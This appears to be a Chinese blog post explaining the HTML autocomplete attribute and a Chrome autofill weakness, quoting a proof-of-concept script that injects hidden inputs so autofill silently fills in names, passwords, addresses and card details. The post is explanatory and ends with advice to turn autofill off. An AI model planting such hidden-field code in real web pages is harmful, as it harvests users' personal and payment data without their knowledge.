Chrome中自动填充的危险性浅析

AutoComplete

Chrome中自动填充的危险性浅析从属于笔者的网络信息安全攻防实战。笔者最早是在 Github 上看到了有关利用自动填充窃取数据的 POC ,本文是对于自动填充机制及其危险性的分析,参考了Why Chrome’s autocomplete is insecure and how you can turn it offAutofill: What web devs should know, but don’t。更多参考Web 应用安全基础

自动填充(Autofill)是个非常重要的特性,它能帮助用户节省很多填写表单的时间,Google 也曾调查得出过结论users complete forms up to 30% faster。我们首先来讨论下自动填充的工作原理,以及如何构建跨浏览器的自动填充表单。

自动填充的工作机制

早年各个浏览器之间对于自动填充并没有统一的标准,后来HTML5标准中加入了对于autocomplete属性的支持,以协调浏览器对于表单域的识别。最初autocomplete属性仅支持onoff两种取值,默认情况下是会启动自动填充功能以方便浏览器会将用户提交过的表单值记录下来以便复用。后续HTML标准中允许加入更多的标识值,这些标识值会更加精确地告诉浏览器应将哪些记录值对应到哪些表单。譬如我们经常需要在网页上填写地址信息,如果我们希望浏览器能够记录下常用地址信息并且自动补全,那么可以使用如下声明方式:

<textarea name="shipping-address" autocomplete="shipping street-address"></textarea>
<input type="text" name="shipping-city" autocomplete="shipping address-level2">
<input type="text" name="shipping-state" autocomplete="shipping address-level1">
<input type="text" name="shipping-country" autocomplete="shipping country-name">
<input type="text" name="shipping-postal-code" autocomplete="shipping postal-code">

其他常见的自动填充的使用场景还包括电话号码、邮箱地址、即时通信账户等,完整的自动填充标识声明规范为:

[section-](optional) [shipping|billing](optional) [home|work|mobile|fax|pager](optional) [autofill field name]

其中[home|work|mobile|fax|pager]仅被用于电话、邮箱等场景。而完整的应用场景譬如是填写收货地址的收件人电话时:

<label for="foo">Mobile phone for delivery</label>
<input type="text" name="foo" id="foo" autocomplete="section-red shipping mobile tel">

最后,我们来看下自动填充在笔者电脑上的现实效果:

安全威胁

自动填充是个非常方便地浏览器特性,不过该特性在 Chrome 上也会存在一定的信息泄露的风险。Chrome 最近才修复了某个久负盛名漏洞。简单而言,黑客能够利用自动填充窃取你并不想提交给该网站的信息,就如下面这个动图:

Github 用户 haampie 使用如下脚本演示了该漏洞:

var autocompletes = ['name', 'honorific-prefix', 'given-name',
  'additional-name', 'family-name', 'honorific-suffix',
  'nickname', 'username', 'new-password',
  'current-password', 'organization-title', 'organization',
  'street-address', 'address-line1', 'address-line2',
  'address-line3', 'address-level4', 'address-level3',
  'address-level2', 'address-level1', 'country',
  'country-name', 'postal-code', 'cc-name', 'cc-given-name',
  'cc-additional-name', 'cc-family-name', 'cc-exp',
  'cc-exp-month', 'cc-exp-year', 'cc-csc', 'cc-type',
  'transaction-currency', 'transaction-amount',
  'language', 'bday', 'bday-day', 'bday-month',
  'bday-year', 'sex', 'url', 'photo', 'tel',
  'tel-country-code', 'tel-national',
  'tel-area-code', 'tel-local', 'tel-local-prefix',
  'tel-local-suffix', 'tel-extension', 'impp'
];

emailField.addEventListener('focus', function() {
  var wrap = autocompletes.reduce(function(wrapper, field) {
    var input = document.createElement('input');
    
    // Make them not focussable
    input.tabIndex = -1;
    input.autocomplete = field;
    
    wrapper.appendChild(input);
    return wrapper;
  }, document.createElement('div'));

  // Hide the wrapper
  wrap.classList.add('hidden');
  form.appendChild(wrap);

  // Inject the autocompletes once
  this.removeEventListener('focus', arguments.callee);
});

作者是建议大家关闭 Chrome 的自动填充功能,主要步骤为:

  • 进入 Chrome 设置:chrome://settings/autofill

  • 关闭当前模态窗口

  • 反选自动填充选项


某熊的全栈之路
知识,应该在它该在的地方。一个热爱代码,热爱新技术的程序熊。

爱代码 爱生活 希望成为全栈整合师

22.4k 声望
8.5k 粉丝
0 条评论
推荐阅读
2022-某熊的技术 & 产品成长之路:重启的第二曲线
在过去的 2022 年,伴随着经济寒冬感觉技术也进入了静默期,除了 AI 领域之外少了许多令人激动的技术突破、发现。在过去十年里因为各种新技术、新框架的出现、发展而诞生的各种技术造轮子、布道及各种新 KPI 的机...

王下邀月熊_Chevalier2阅读 1.3k评论 1

封面图
2023年最流行的道德黑客工具
道德黑客工具和软件是由开发人员设计的计算机程序或复杂类型的脚本,由安全专业人员用于识别机器操作系统、web应用程序、服务器和网络中的弱点。如今,许多企业都依赖这种道德黑客工具来更好地保护数据免受各种攻...

代码熬夜敲1阅读 722

非常详细 建议收藏 奇安信QCCE大牛整理出的网络安全学习路线 学不会我退出安全圈
我是去年9月22日才正式学习网络安全的,因为在国营单位工作了4年,在长沙一个月工资只有5000块,而且看不到任何晋升的希望,如果想要往上走,那背后就一定要有关系才行。而且国营单位的气氛是你干的多了,领导觉...

代码熬夜敲1阅读 644

使用验证码拦截爬虫和机器人实践分享
背景在很多时候我们都会遇到验证码的多种场景,不同的产品也会使用不同的登录验证方式。在项目开发中,我将KgCaptcha应用到搜索和分页中,下面是我写的的记录。开发过程1、页面创建一个搜索表单 {代码...} 2、接...

宙哈哈阅读 220

[验证码] KgCaptcha风险监测方法
“访问过于频繁,请先完成验证”,相信大家对这句话应该不陌生。当我们访问一个网站过于频繁时,就会弹出这样的提示,甚至于让我们先通过滑动验证码。

宙哈哈阅读 192

通过TOR绕过IP锁定
平时做项目或者挖SRC的过程中,在遇到扫目录或者凑低危用户名枚举等会有大量请求的情况时,总有各种WAF出来拦截,而且通过各种方式还绕不掉,只能通过换IP的形式来进行绕过。

初始安全阅读 180

封面图
详解越权漏洞
越权漏洞是指应用程序未对当前用户操作的身份权限进行严格校验,导致用户可以操作超出自己管理权限范围的功能,从而操作一些非该用户可以操作的行为。简单来说,就是攻击者可以做一些本来不该他们做的事情(增删...

初始安全阅读 161

封面图

爱代码 爱生活 希望成为全栈整合师

22.4k 声望
8.5k 粉丝
宣传栏